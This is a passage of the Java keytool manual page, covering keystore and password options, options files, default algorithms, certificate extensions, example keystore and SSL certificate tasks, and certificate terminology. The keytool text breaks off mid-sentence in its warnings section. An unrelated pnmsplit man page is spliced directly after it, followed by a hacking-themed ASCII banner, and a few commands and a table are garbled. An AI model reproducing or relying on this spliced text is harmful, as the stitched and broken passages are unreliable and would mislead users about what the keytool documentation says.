If the JKS storetype is used and a keystore file doesn’t yet exist, then certain keytool commands can result in a new keystore file being created. For example, if keytool -genkeypair is called and the -keystore option isn’t specified, the default keystore file named .keystore is created in the user’s home directory if it doesn’t already exist. Similarly, if the -keystore ks_file option is specified but ks_file doesn’t exist, then it is created. For more information on the JKS storetype, see the KeyStore Implementation section in KeyStore aliases.

Note that the input stream from the -keystore option is passed to the KeyStore.load method. If NONE is specified as the URL, then a null stream is passed to the KeyStore.load method. NONE should be specified if the keystore isn’t file-based. For example, when the keystore resides on a hardware token device.

-cacerts cacerts
Operates on the cacerts keystore . This option is equivalent to -keystore path_to_cacerts -storetype type_of_cacerts. An error is reported if the -keystore or -storetype option is used with the -cacerts option.

-storepass [:env | :file ] argument
The password that is used to protect the integrity of the keystore.

If the modifier env or file isn’t specified, then the password has the value argument, which must contain at least six characters. Otherwise, the password is retrieved as follows:

  • env: Retrieve the password from the environment variable named argument.

  • file: Retrieve the password from the file named argument.

Note: All other options that require passwords, such as -keypass, -srckeypass, -destkeypass, -srcstorepass, and -deststorepass, accept the env and file modifiers. Remember to separate the password option and the modifier with a colon (:).

The password must be provided to all commands that access the keystore contents. For such commands, when the -storepass option isn’t provided at the command line, the user is prompted for it.

When retrieving information from the keystore, the password is optional. If a password is not specified, then the integrity of the retrieved information can’t be verified and a warning is displayed.

-providername name
Used to identify a cryptographic service provider’s name when listed in the security properties file.

-addprovider name
Used to add a security provider by name (such as SunPKCS11) .

-providerclass class
Used to specify the name of a cryptographic service provider’s master class file when the service provider isn’t listed in the security properties file.

-providerpath list
Used to specify the provider classpath.

-providerarg arg
Used with the -addprovider or -providerclass option to represent an optional string input argument for the constructor of class name.

-protected=true|false
Specify this value as true when a password must be specified by way of a protected authentication path, such as a dedicated PIN reader. Because there are two keystores involved in the -importkeystore command, the following two options, -srcprotected and -destprotected, are provided for the source keystore and the destination keystore respectively.

-ext {name{:critical} {=value}}
Denotes an X.509 certificate extension. The option can be used in -genkeypair and -gencert to embed extensions into the generated certificate, or in -certreq to show what extensions are requested in the certificate request. The option can appear multiple times. The name argument can be a supported extension name (see Supported Named Extensions) or an arbitrary OID number. The value argument, when provided, denotes the argument for the extension. When value is omitted, the default value of the extension or the extension itself requires no argument. The :critical modifier, when provided, means the extension’s isCritical attribute is true; otherwise, it is false. You can use :c in place of :critical.

-conf file
Specifies a pre-configured options file.

PRE-CONFIGURED OPTIONS FILE

A pre-configured options file is a Java properties file that can be specified with the -conf option. Each property represents the default option(s) for a keytool command using “keytool.command_name” as the property name. A special property named “keytool.all” represents the default option(s) applied to all commands. A property value can include ${prop} which will be expanded to the system property associated with it. If an option value includes white spaces inside, it should be surrounded by quotation marks (" or ‘). All property names must be in lower case.

When keytool is launched with a pre-configured options file, the value for “keytool.all” (if it exists) is prepended to the keytool command line first, with the value for the command name (if it exists) comes next, and the existing options on the command line at last. For a single-valued option, this allows the property for a specific command to override the “keytool.all” value, and the value specified on the command line to override both. For multiple-valued options, all of them will be used by keytool.

For example, given the following file named preconfig:

    # A tiny pre-configured options file
    keytool.all = -keystore ${user.home}/ks
    keytool.list = -v
    keytool.genkeypair = -keyalg rsa

keytool -conf preconfig -list is identical to

keytool -keystore ~/ks -v -list

keytool -conf preconfig -genkeypair -alias me is identical to

keytool -keystore ~/ks -keyalg rsa -genkeypair -alias me

keytool -conf preconfig -genkeypair -alias you -keyalg ec is identical to

keytool -keystore ~/ks -keyalg rsa -genkeypair -alias you -keyalg ec

which is equivalent to

keytool -keystore ~/ks -genkeypair -alias you -keyalg ec

because -keyalg is a single-valued option and the ec value specified on the command line overrides the preconfigured options file.

EXAMPLES OF OPTION VALUES

The following examples show the defaults for various option values:

-alias "mykey"

-keysize
    2048 (when using -genkeypair and -keyalg is "DSA")
    3072 (when using -genkeypair and -keyalg is "RSA", "RSASSA-PSS", or "DH")
    384 (when using -genkeypair and -keyalg is "EC")
    56 (when using -genseckey and -keyalg is "DES")
    168 (when using -genseckey and -keyalg is "DESede")

-groupname
    ed25519 (when using -genkeypair and -keyalg is "EdDSA", key size is 255)
    x25519 (when using -genkeypair and -keyalg is "XDH", key size is 255)

-validity 90

-keystore <the file named .keystore in the user's home directory>

-destkeystore <the file named .keystore in the user's home directory>

-storetype <the value of the "keystore.type" property in the
    security properties file, which is returned by the static
    getDefaultType method in java.security.KeyStore>

-file
    stdin (if reading)
    stdout (if writing)

-protected false

When generating a certificate or a certificate request, the default signature algorithm (-sigalg option) is derived from the algorithm of the underlying private key to provide an appropriate level of security strength as follows:

Default Signature Algorithms

keyalgkey sizedefault sigalg
DSAany sizeSHA256withDSA
RSA< 624SHA256withRSA (key size is too small for using SHA-384)
<= 7680SHA384withRSA
> 7680SHA512withRSA
EC< 512SHA384withECDSA
>= 512SHA512withECDSA
RSASSA-PSS< 624RSASSA-PSS (with SHA-256, key size is too small for
using SHA-384)
<= 7680RSASSA-PSS (with SHA-384)
> 7680RSASSA-PSS (with SHA-512)
EdDSA255Ed25519
448Ed448
Ed25519255Ed25519
Ed448448Ed448
  • The key size, measured in bits, corresponds to the size of the private key. This size is determined by the value of the -keysize or -groupname options or the value derived from a default setting.

  • An RSASSA-PSS signature algorithm uses a MessageDigest algorithm as its hash and MGF1 algorithms.

  • If neither a default -keysize or -groupname is defined for an algorithm, the security provider will choose a default setting.

Note:

To improve out of the box security, default keysize, groupname, and signature algorithm names are periodically updated to stronger values with each release of the JDK. If interoperability with older releases of the JDK is important, make sure that the defaults are supported by those releases. Alternatively, you can use the -keysize, -groupname, or -sigalg options to override the default values at your own risk.

SUPPORTED NAMED EXTENSIONS

The keytool command supports these named extensions. The names aren’t case-sensitive.

BC or BasicConstraints
Values:

The full form is ca:{true|false}[,pathlen:len] or len, which is short for ca:true,pathlen:len.

When len is omitted, the resulting value is ca:true.

KU or KeyUsage
Values:

usage(, usage)*

usage can be one of the following:

  • digitalSignature

  • nonRepudiation (contentCommitment)

  • keyEncipherment

  • dataEncipherment

  • keyAgreement

  • keyCertSign

  • cRLSign

  • encipherOnly

  • decipherOnly

Provided there is no ambiguity, the usage argument can be abbreviated with the first few letters (such as dig for digitalSignature) or in camel-case style (such as dS for digitalSignature or cRLS for cRLSign). The usage values are case-sensitive.

EKU or ExtendedKeyUsage
Values:

usage(, usage)*

usage can be one of the following:

  • anyExtendedKeyUsage

  • serverAuth

  • clientAuth

  • codeSigning

  • emailProtection

  • timeStamping

  • OCSPSigning

  • Any OID string

Provided there is no ambiguity, the usage argument can be abbreviated with the first few letters or in camel-case style. The usage values are case-sensitive.

SAN or SubjectAlternativeName
Values:

type:value(, type:value)*

type can be one of the following:

  • EMAIL

  • URI

  • DNS

  • IP

  • OID

The value argument is the string format value for the type.

IAN or IssuerAlternativeName
Values:

Same as SAN or SubjectAlternativeName.

SIA or SubjectInfoAccess
Values:

method:location-type:location-value(, method:location-type:location-value)*

method can be one of the following:

  • timeStamping

  • caRepository

  • Any OID

The location-type and location-value arguments can be any type:value supported by the SubjectAlternativeName extension.

AIA or AuthorityInfoAccess
Values:

Same as SIA or SubjectInfoAccess.

The method argument can be one of the following:

  • ocsp

  • caIssuers

  • Any OID

When name is OID, the value is the hexadecimal dumped Definite Encoding Rules (DER) encoding of the extnValue for the extension excluding the OCTET STRING type and length bytes. Other than standard hexadecimal numbers (0-9, a-f, A-F), any extra characters are ignored in the HEX string. Therefore, both 01:02:03:04 and 01020304 are accepted as identical values. When there is no value, the extension has an empty value field.

A special name honored, used only in -gencert, denotes how the extensions included in the certificate request should be honored. The value for this name is a comma-separated list of all (all requested extensions are honored), name{:[critical|non-critical]} (the named extension is honored, but it uses a different isCritical attribute), and -name (used with all, denotes an exception). Requested extensions aren’t honored by default.

If, besides the-ext honored option, another named or OID -ext option is provided, this extension is added to those already honored. However, if this name (or OID) also appears in the honored value, then its value and criticality override that in the request. If an extension of the same type is provided multiple times through either a name or an OID, only the last extension is used.

The subjectKeyIdentifier extension is always created. For non-self-signed certificates, the authorityKeyIdentifier is created.

CAUTION:

Users should be aware that some combinations of extensions (and other certificate fields) may not conform to the Internet standard. See Certificate Conformance Warning.

EXAMPLES OF TASKS IN CREATING A KEYSTORE

The following examples describe the sequence actions in creating a keystore for managing public/private key pairs and certificates from trusted entities.

  • Generating the Key Pair

  • Requesting a Signed Certificate from a CA

  • Importing a Certificate for the CA

  • Importing the Certificate Reply from the CA

  • Exporting a Certificate That Authenticates the Public Key

  • Importing the Keystore

  • Generating Certificates for an SSL Server

GENERATING THE KEY PAIR

Create a keystore and then generate the key pair.

You can enter the command as a single line such as the following:

keytool -genkeypair -dname “cn=myname, ou=mygroup, o=mycompany, c=mycountry” -alias business -keyalg rsa -keypass password -keystore /working/mykeystore -storepass password -validity 180

The command creates the keystore named mykeystore in the working directory (provided it doesn’t already exist), and assigns it the password specified by -keypass. It generates a public/private key pair for the entity whose distinguished name is myname, mygroup, mycompany, and a two-letter country code of mycountry. It uses the RSA key generation algorithm to create the keys; both are 3072 bits.

The command uses the default SHA384withRSA signature algorithm to create a self-signed certificate that includes the public key and the distinguished name information. The certificate is valid for 180 days, and is associated with the private key in a keystore entry referred to by -alias business. The private key is assigned the password specified by -keypass.

The command is significantly shorter when the option defaults are accepted. In this case, only -keyalg is required, and the defaults are used for unspecified options that have default values. You are prompted for any required values. You could have the following:

keytool -genkeypair -keyalg rsa

In this case, a keystore entry with the alias mykey is created, with a newly generated key pair and a certificate that is valid for 90 days. This entry is placed in your home directory in a keystore named .keystore . .keystore is created if it doesn’t already exist. You are prompted for the distinguished name information, the keystore password, and the private key password.

Note:

The rest of the examples assume that you responded to the prompts with values equal to those specified in the first -genkeypair command. For example, a distinguished name of cn=myname, ou=mygroup, o=mycompany, c=mycountry).

REQUESTING A SIGNED CERTIFICATE FROM A CA

Note:

Generating the key pair created a self-signed certificate; however, a certificate is more likely to be trusted by others when it is signed by a CA.

To get a CA signature, complete the following process:

  1. Generate a CSR:

    keytool -certreq -file myname.csr

    This creates a CSR for the entity identified by the default alias mykey and puts the request in the file named myname.csr.

  2. Submit myname.csr to a CA, such as DigiCert.

The CA authenticates you, the requestor (usually offline), and returns a certificate, signed by them, authenticating your public key. In some cases, the CA returns a chain of certificates, each one authenticating the public key of the signer of the previous certificate in the chain.

IMPORTING A CERTIFICATE FOR THE CA

To import a certificate for the CA, complete the following process:

  1. Before you import the certificate reply from a CA, you need one or more trusted certificates either in your keystore or in the cacerts keystore file. See -importcert in Commands.

    • If the certificate reply is a certificate chain, then you need the top certificate of the chain. The root CA certificate that authenticates the public key of the CA.

    • If the certificate reply is a single certificate, then you need a certificate for the issuing CA (the one that signed it). If that certificate isn’t self-signed, then you need a certificate for its signer, and so on, up to a self-signed root CA certificate.

    The cacerts keystore ships with a set of root certificates issued by the CAs of the Oracle Java Root Certificate program [http://www.oracle.com/technetwork/java/javase/javasecarootcertsprogram-1876540.html]. If you request a signed certificate from a CA, and a certificate authenticating that CA’s public key hasn’t been added to cacerts, then you must import a certificate from that CA as a trusted certificate.

    A certificate from a CA is usually self-signed or signed by another CA. If it is signed by another CA, you need a certificate that authenticates that CA’s public key.

    For example, you have obtained a X.cer file from a company that is a CA and the file is supposed to be a self-signed certificate that authenticates that CA’s public key. Before you import it as a trusted certificate, you should ensure that the certificate is valid by:

    1. Viewing it with the keytool -printcert command or the keytool -importcert command without using the -noprompt option. Make sure that the displayed certificate fingerprints match the expected fingerprints.

    2. Calling the person who sent the certificate, and comparing the fingerprints that you see with the ones that they show or that a secure public key repository shows.

    Only when the fingerprints are equal is it assured that the certificate wasn’t replaced in transit with somebody else’s certificate (such as an attacker’s certificate). If such an attack takes place, and you didn’t check the certificate before you imported it, then you would be trusting anything that the attacker signed.

  2. Replace the self-signed certificate with a certificate chain, where each certificate in the chain authenticates the public key of the signer of the previous certificate in the chain, up to a root CA.

    If you trust that the certificate is valid, then you can add it to your keystore by entering the following command:

    keytool -importcert -alias alias -file *X*.cer`

    This command creates a trusted certificate entry in the keystore from the data in the CA certificate file and assigns the values of the alias to the entry.

IMPORTING THE CERTIFICATE REPLY FROM THE CA

After you import a certificate that authenticates the public key of the CA that you submitted your certificate signing request to (or there is already such a certificate in the cacerts file), you can import the certificate reply and replace your self-signed certificate with a certificate chain.

The certificate chain is one of the following:

  • Returned by the CA when the CA reply is a chain.

  • Constructed when the CA reply is a single certificate. This certificate chain is constructed by using the certificate reply and trusted certificates available either in the keystore where you import the reply or in the cacerts keystore file.

For example, if you sent your certificate signing request to DigiCert, then you can import their reply by entering the following command:

Note:

In this example, the returned certificate is named DCmyname.cer.

keytool -importcert -trustcacerts -file DCmyname.cer

EXPORTING A CERTIFICATE THAT AUTHENTICATES THE PUBLIC KEY

Note:

If you used the jarsigner command to sign a Java Archive (JAR) file, then clients that use the file will want to authenticate your signature.

One way that clients can authenticate you is by importing your public key certificate into their keystore as a trusted entry. You can then export the certificate and supply it to your clients.

For example:

  1. Copy your certificate to a file named myname.cer by entering the following command:

    Note:

    In this example, the entry has an alias of mykey.

    keytool -exportcert -alias mykey -file myname.cer

  2. With the certificate and the signed JAR file, a client can use the jarsigner command to authenticate your signature.

IMPORTING THE KEYSTORE

Use the importkeystore command to import an entire keystore into another keystore. This imports all entries from the source keystore, including keys and certificates, to the destination keystore with a single command. You can use this command to import entries from a different type of keystore. During the import, all new entries in the destination keystore will have the same alias names and protection passwords (for secret keys and private keys). If the keytool command can’t recover the private keys or secret keys from the source keystore, then it prompts you for a password. If it detects alias duplication, then it asks you for a new alias, and you can specify a new alias or simply allow the keytool command to overwrite the existing one.

For example, import entries from a typical JKS type keystore key.jks into a PKCS #11 type hardware-based keystore, by entering the following command:

keytool -importkeystore -srckeystore key.jks -destkeystore NONE -srcstoretype JKS -deststoretype PKCS11 -srcstorepass password -deststorepass password

The importkeystore command can also be used to import a single entry from a source keystore to a destination keystore. In this case, besides the options you used in the previous example, you need to specify the alias you want to import. With the -srcalias option specified, you can also specify the destination alias name, protection password for a secret or private key, and the destination protection password you want as follows:

keytool -importkeystore -srckeystore key.jks -destkeystore NONE -srcstoretype JKS -deststoretype PKCS11 -srcstorepass password -deststorepass password -srcalias myprivatekey -destalias myoldprivatekey -srckeypass password -destkeypass password -noprompt

GENERATING CERTIFICATES FOR AN SSL SERVER

The following are keytool commands used to generate key pairs and certificates for three entities:

  • Root CA (root)

  • Intermediate CA (ca)

  • SSL server (server)

Ensure that you store all the certificates in the same keystore.

keytool -genkeypair -keystore root.jks -alias root -ext bc:c -keyalg rsa
keytool -genkeypair -keystore ca.jks -alias ca -ext bc:c -keyalg rsa
keytool -genkeypair -keystore server.jks -alias server -keyalg rsa

keytool -keystore root.jks -alias root -exportcert -rfc > root.pem

keytool -storepass password -keystore ca.jks -certreq -alias ca |
    keytool -storepass password -keystore root.jks
    -gencert -alias root -ext BC=0 -rfc > ca.pem
keytool -keystore ca.jks -importcert -alias ca -file ca.pem

keytool -storepass password -keystore server.jks -certreq -alias server |
    keytool -storepass password -keystore ca.jks -gencert -alias ca
    -ext ku:c=dig,kE -rfc > server.pem
cat root.pem ca.pem server.pem |
    keytool -keystore server.jks -importcert -alias server

TERMS

Keystore
A keystore is a storage facility for cryptographic keys and certificates.

Keystore entries
Keystores can have different types of entries. The two most applicable entry types for the keytool command include the following:

Key entries: Each entry holds very sensitive cryptographic key information, which is stored in a protected format to prevent unauthorized access. Typically, a key stored in this type of entry is a secret key, or a private key accompanied by the certificate chain for the corresponding public key. See Certificate Chains. The keytool command can handle both types of entries, while the jarsigner tool only handles the latter type of entry, that is private keys and their associated certificate chains.

Trusted certificate entries: Each entry contains a single public key certificate that belongs to another party. The entry is called a trusted certificate because the keystore owner trusts that the public key in the certificate belongs to the identity identified by the subject (owner) of the certificate. The issuer of the certificate vouches for this, by signing the certificate.

Keystore aliases
All keystore entries (key and trusted certificate entries) are accessed by way of unique aliases.

An alias is specified when you add an entity to the keystore with the -genseckey command to generate a secret key, the -genkeypair command to generate a key pair (public and private key), or the -importcert command to add a certificate or certificate chain to the list of trusted certificates. Subsequent keytool commands must use this same alias to refer to the entity.

For example, you can use the alias duke to generate a new public/private key pair and wrap the public key into a self-signed certificate with the following command. See Certificate Chains.

keytool -genkeypair -alias duke -keyalg rsa -keypass passwd

This example specifies an initial passwd required by subsequent commands to access the private key associated with the alias duke. If you later want to change Duke’s private key password, use a command such as the following:

keytool -keypasswd -alias duke -keypass passwd -new newpasswd

This changes the initial passwd to newpasswd. A password shouldn’t be specified on a command line or in a script unless it is for testing purposes, or you are on a secure system. If you don’t specify a required password option on a command line, then you are prompted for it.

Keystore implementation
The KeyStore class provided in the java.security package supplies well-defined interfaces to access and modify the information in a keystore. It is possible for there to be multiple different concrete implementations, where each implementation is that for a particular type of keystore.

Currently, two command-line tools (keytool and jarsigner) make use of keystore implementations. Because the KeyStore class is public, users can write additional security applications that use it.

In JDK 9 and later, the default keystore implementation is PKCS12. This is a cross platform keystore based on the RSA PKCS12 Personal Information Exchange Syntax Standard. This standard is primarily meant for storing or transporting a user’s private keys, certificates, and miscellaneous secrets. There is another built-in implementation, provided by Oracle. It implements the keystore as a file with a proprietary keystore type (format) named JKS. It protects each private key with its individual password, and also protects the integrity of the entire keystore with a (possibly different) password.

Keystore implementations are provider-based. More specifically, the application interfaces supplied by KeyStore are implemented in terms of a Service Provider Interface (SPI). That is, there is a corresponding abstract KeystoreSpi class, also in the java.security package, which defines the Service Provider Interface methods that providers must implement. The term provider refers to a package or a set of packages that supply a concrete implementation of a subset of services that can be accessed by the Java Security API. To provide a keystore implementation, clients must implement a provider and supply a KeystoreSpi subclass implementation, as described in Steps to Implement and Integrate a Provider.

Applications can choose different types of keystore implementations from different providers, using the getInstance factory method supplied in the KeyStore class. A keystore type defines the storage and data format of the keystore information, and the algorithms used to protect private/secret keys in the keystore and the integrity of the keystore. Keystore implementations of different types aren’t compatible.

The keytool command works on any file-based keystore implementation. It treats the keystore location that is passed to it at the command line as a file name and converts it to a FileInputStream, from which it loads the keystore information.)The jarsigner commands can read a keystore from any location that can be specified with a URL.

For keytool and jarsigner, you can specify a keystore type at the command line, with the -storetype option.

If you don’t explicitly specify a keystore type, then the tools choose a keystore implementation based on the value of the keystore.type property specified in the security properties file. The security properties file is called java.security, and resides in the security properties directory:

  • Linux and macOS: java.home/lib/security

  • Windows: java.home\lib\security

Each tool gets the keystore.type value and then examines all the currently installed providers until it finds one that implements a keystores of that type. It then uses the keystore implementation from that provider.The KeyStore class defines a static method named getDefaultType that lets applications retrieve the value of the keystore.type property. The following line of code creates an instance of the default keystore type as specified in the keystore.type property:

KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());

The default keystore type is pkcs12, which is a cross-platform keystore based on the RSA PKCS12 Personal Information Exchange Syntax Standard. This is specified by the following line in the security properties file:

keystore.type=pkcs12

To have the tools utilize a keystore implementation other than the default, you can change that line to specify a different keystore type. For example, if you want to use the Oracle’s jks keystore implementation, then change the line to the following:

keystore.type=jks

Note:

Case doesn’t matter in keystore type designations. For example, JKS would be considered the same as jks.

Certificate
A certificate (or public-key certificate) is a digitally signed statement from one entity (the issuer), saying that the public key and some other information of another entity (the subject) has some specific value. The following terms are related to certificates:

  • Public Keys: These are numbers associated with a particular entity, and are intended to be known to everyone who needs to have trusted interactions with that entity. Public keys are used to verify signatures.

  • Digitally Signed: If some data is digitally signed, then it is stored with the identity of an entity and a signature that proves that entity knows about the data. The data is rendered unforgeable by signing with the entity’s private key.

  • Identity: A known way of addressing an entity. In some systems, the identity is the public key, and in others it can be anything from an Oracle Solaris UID to an email address to an X.509 distinguished name.

  • Signature: A signature is computed over some data using the private key of an entity. The signer, which in the case of a certificate is also known as the issuer.

  • Private Keys: These are numbers, each of which is supposed to be known only to the particular entity whose private key it is (that is, it is supposed to be kept secret). Private and public keys exist in pairs in all public key cryptography systems (also referred to as public key crypto systems). In a typical public key crypto system, such as DSA, a private key corresponds to exactly one public key. Private keys are used to compute signatures.

  • Entity: An entity is a person, organization, program, computer, business, bank, or something else you are trusting to some degree.

Public key cryptography requires access to users’ public keys. In a large-scale networked environment, it is impossible to guarantee that prior relationships between communicating entities were established or that a trusted repository exists with all used public keys. Certificates were invented as a solution to this public key distribution problem. Now a Certification Authority (CA) can act as a trusted third party. CAs are entities such as businesses that are trusted to sign (issue) certificates for other entities. It is assumed that CAs only create valid and reliable certificates because they are bound by legal agreements. There are many public Certification Authorities, such as DigiCert, Comodo, Entrust, and so on.

You can also run your own Certification Authority using products such as Microsoft Certificate Server or the Entrust CA product for your organization. With the keytool command, it is possible to display, import, and export certificates. It is also possible to generate self-signed certificates.

The keytool command currently handles X.509 certificates.

X.509 Certificates
The X.509 standard defines what information can go into a certificate and describes how to write it down (the data format). All the data in a certificate is encoded with two related standards called ASN.1/DER. Abstract Syntax Notation 1 describes data. The Definite Encoding Rules describe a single way to store and transfer that data.

All X.509 certificates have the following data, in addition to the signature:

  • Version: This identifies which version of the X.509 standard applies to this certificate, which affects what information can be specified in it. Thus far, three versions are defined. The keytool command can import and export v1, v2, and v3 certificates. It generates v3 certificates.

    • X.509 Version 1 has been available since 1988, is widely deployed, and is the most generic.

    • X.509 Version 2 introduced the concept of subject and issuer unique identifiers to handle the possibility of reuse of subject or issuer names over time. Most certificate profile documents strongly recommend that names not be reused and that certificates shouldn’t make use of unique identifiers. Version 2 certificates aren’t widely used.

    • X.509 Version 3 is the most recent (1996) and supports the notion of extensions where anyone can define an extension and include it in the certificate. Some common extensions are: KeyUsage (limits the use of the keys to particular purposes such as signing-only) and AlternativeNames (allows other identities to also be associated with this public key, for example. DNS names, email addresses, IP addresses). Extensions can be marked critical to indicate that the extension should be checked and enforced or used. For example, if a certificate has the KeyUsage extension marked critical and set to keyCertSign, then when this certificate is presented during SSL communication, it should be rejected because the certificate extension indicates that the associated private key should only be used for signing certificates and not for SSL use.

  • Serial number: The entity that created the certificate is responsible for assigning it a serial number to distinguish it from other certificates it issues. This information is used in numerous ways. For example, when a certificate is revoked its serial number is placed in a Certificate Revocation List (CRL).

  • Signature algorithm identifier: This identifies the algorithm used by the CA to sign the certificate.

  • Issuer name: The X.500 Distinguished Name of the entity that signed the certificate. This is typically a CA. Using this certificate implies trusting the entity that signed this certificate. In some cases, such as root or top-level CA certificates, the issuer signs its own certificate.

  • Validity period: Each certificate is valid only for a limited amount of time. This period is described by a start date and time and an end date and time, and can be as short as a few seconds or almost as long as a century. The validity period chosen depends on a number of factors, such as the strength of the private key used to sign the certificate, or the amount one is willing to pay for a certificate. This is the expected period that entities can rely on the public value, when the associated private key has not been compromised.

  • Subject name: The name of the entity whose public key the certificate identifies. This name uses the X.500 standard, so it is intended to be unique across the Internet. This is the X.500 Distinguished Name (DN) of the entity. For example,

    CN=Java Duke, OU=Java Software Division, O=Oracle Corporation, C=US

    These refer to the subject’s common name (CN), organizational unit (OU), organization (O), and country (C).

  • Subject public key information: This is the public key of the entity being named with an algorithm identifier that specifies which public key crypto system this key belongs to and any associated key parameters.

Certificate Chains
The keytool command can create and manage keystore key entries that each contain a private key and an associated certificate chain. The first certificate in the chain contains the public key that corresponds to the private key.

When keys are first generated, the chain usually starts off containing a single element, a self-signed certificate. See -genkeypair in Commands. A self-signed certificate is one for which the issuer (signer) is the same as the subject. The subject is the entity whose public key is being authenticated by the certificate. When the -genkeypair command is called to generate a new public/private key pair, it also wraps the public key into a self-signed certificate (unless the -signer option is specified).

Later, after a Certificate Signing Request (CSR) was generated with the -certreq command and sent to a Certification Authority (CA), the response from the CA is imported with -importcert, and the self-signed certificate is replaced by a chain of certificates. At the bottom of the chain is the certificate (reply) issued by the CA authenticating the subject’s public key. The next certificate in the chain is one that authenticates the CA’s public key.

In many cases, this is a self-signed certificate, which is a certificate from the CA authenticating its own public key, and the last certificate in the chain. In other cases, the CA might return a chain of certificates. In this case, the bottom certificate in the chain is the same (a certificate signed by the CA, authenticating the public key of the key entry), but the second certificate in the chain is a certificate signed by a different CA that authenticates the public key of the CA you sent the CSR to. The next certificate in the chain is a certificate that authenticates the second CA’s key, and so on, until a self-signed root certificate is reached. Each certificate in the chain (after the first) authenticates the public key of the signer of the previous certificate in the chain.

Many CAs only return the issued certificate, with no supporting chain, especially when there is a flat hierarchy (no intermediates CAs). In this case, the certificate chain must be established from trusted certificate information already stored in the keystore.

A different reply format (defined by the PKCS #7 standard) includes the supporting certificate chain in addition to the issued certificate. Both reply formats can be handled by the keytool command.

The top-level (root) CA certificate is self-signed. However, the trust into the root’s public key doesn’t come from the root certificate itself, but from other sources such as a newspaper. This is because anybody could generate a self-signed certificate with the distinguished name of, for example, the DigiCert root CA. The root CA public key is widely known. The only reason it is stored in a certificate is because this is the format understood by most tools, so the certificate in this case is only used as a vehicle to transport the root CA’s public key. Before you add the root CA certificate to your keystore, you should view it with the -printcert option and compare the displayed fingerprint with the well-known fingerprint obtained from a newspaper, the root CA’s Web page, and so on.

cacerts Certificates File
A certificates file named cacerts resides in the security properties directory:

  • Linux and macOS: JAVA_HOME/lib/security

  • Windows: JAVA_HOME\lib\security

The cacerts file represents a system-wide keystore with CA certificates. System administrators can configure and manage that file with the keytool command by specifying jks as the keystore type. The cacerts keystore file ships with a default set of root CA certificates. For Linux, macOS, and Windows, you can list the default certificates with the following command:

keytool -list -cacerts

The initial password of the cacerts keystore file is changeit. System administrators should change that password and the default access permission of that file upon installing the SDK.

Note:

It is important to verify your cacerts file. Because you trust the CAs in the cacerts file as entities for signing and issuing certificates to other entities, you must manage the cacerts file carefully. The cacerts file should contain only certificates of the CAs you trust. It is your responsibility to verify the trusted root CA certificates bundled in the cacerts file and make your own trust decisions.

To remove an untrusted CA certificate from the cacerts file, use the -delete option of the keytool command. You can find the cacerts file in the JDK’s $JAVA_HOME/lib/security directory. Contact your system administrator if you don’t have permission to edit this file.

Internet RFC 1421 Certificate Encoding Standard
Certificates are often stored using the printable encoding format defined by the Internet RFC 1421 standard, instead of their binary encoding. This certificate format, also known as Base64 encoding, makes it easy to export certificates to other applications by email or through some other mechanism.

Certificates read by the -importcert and -printcert commands can be in either this format or binary encoded. The -exportcert command by default outputs a certificate in binary encoding, but will instead output a certificate in the printable encoding format, when the -rfc option is specified.

The -list command by default prints the SHA-256 fingerprint of a certificate. If the -v option is specified, then the certificate is printed in human-readable format. If the -rfc option is specified, then the certificate is output in the printable encoding format.

In its printable encoding format, the encoded certificate is bounded at the beginning and end by the following text:

-----BEGIN CERTIFICATE-----

encoded certificate goes here.

-----END CERTIFICATE-----

X.500 Distinguished Names
X.500 Distinguished Names are used to identify entities, such as those that are named by the subject and issuer (signer) fields of X.509 certificates. The keytool command supports the following subparts:

  • commonName: The common name of a person such as Susan Jones.

  • organizationUnit: The small organization (such as department or division) name. For example, Purchasing.

  • localityName: The locality (city) name, for example, Palo Alto.

  • stateName: State or province name, for example, California.

  • country: Two-letter country code, for example, CH.

When you supply a distinguished name string as the value of a -dname option, such as for the -genkeypair command, the string must be in the following format:

CN=cName, OU=orgUnit, O=org, L=city, S=state, C=countryCode

All the following items represent actual values and the previous keywords are abbreviations for the following:

CN=commonName
OU=organizationUnit
O=organizationName
L=localityName
S=stateName
C=country

A sample distinguished name string is:

CN=Mark Smith, OU=Java, O=Oracle, L=Cupertino, S=California, C=US

A sample command using such a string is:

keytool -genkeypair -dname “CN=Mark Smith, OU=Java, O=Oracle, L=Cupertino, S=California, C=US” -alias mark -keyalg rsa

Case doesn’t matter for the keyword abbreviations. For example, CN, cn, and Cn are all treated the same.

Order matters; each subcomponent must appear in the designated order. However, it isn’t necessary to have all the subcomponents. You can use a subset, for example:

CN=Smith, OU=Java, O=Oracle, C=US

If a distinguished name string value contains a comma, then the comma must be escaped by a backslash (\ character when you specify the string on a command line, as in:

cn=Jack, ou=Java\ Product Development, o=Oracle, c=US

It is never necessary to specify a distinguished name string on a command line. When the distinguished name is needed for a command, but not supplied on the command line, the user is prompted for each of the subcomponents. In this case, a comma doesn’t need to be escaped by a backslash (.

WARNINGS

IMPORTING TRUSTED CERTIFICATES WARNING

Important: Be sure to check a certificate very carefully before importing it as a trusted certificate.

Windows Example:

View the certificate first with the -printcert command or the -importcert command without the -noprompt option. Ensure that the displayed certificate fingerprints match the expected ones. For example, suppose someone sends or emails you a certificate that you put it in a file named mp

237 - Linux cli command pnmsplit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmsplit and provides detailed information about the command pnmsplit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmsplit.

.

NAME 🖥️ pnmsplit 🖥️

replaced by pamsplit

DESCRIPTION

This program is part of Netpbm(1) .

Starting with Netpbm 10.31 (December 2005), pnmsplit is obsolete. Use pamsplit(1) instead.

pamsplit is backward compatible with pnmsplit. You can use the pamsplit manual for pnmsplit as long as you ignore features that were added after Netpbm 10.30.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmsplit.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
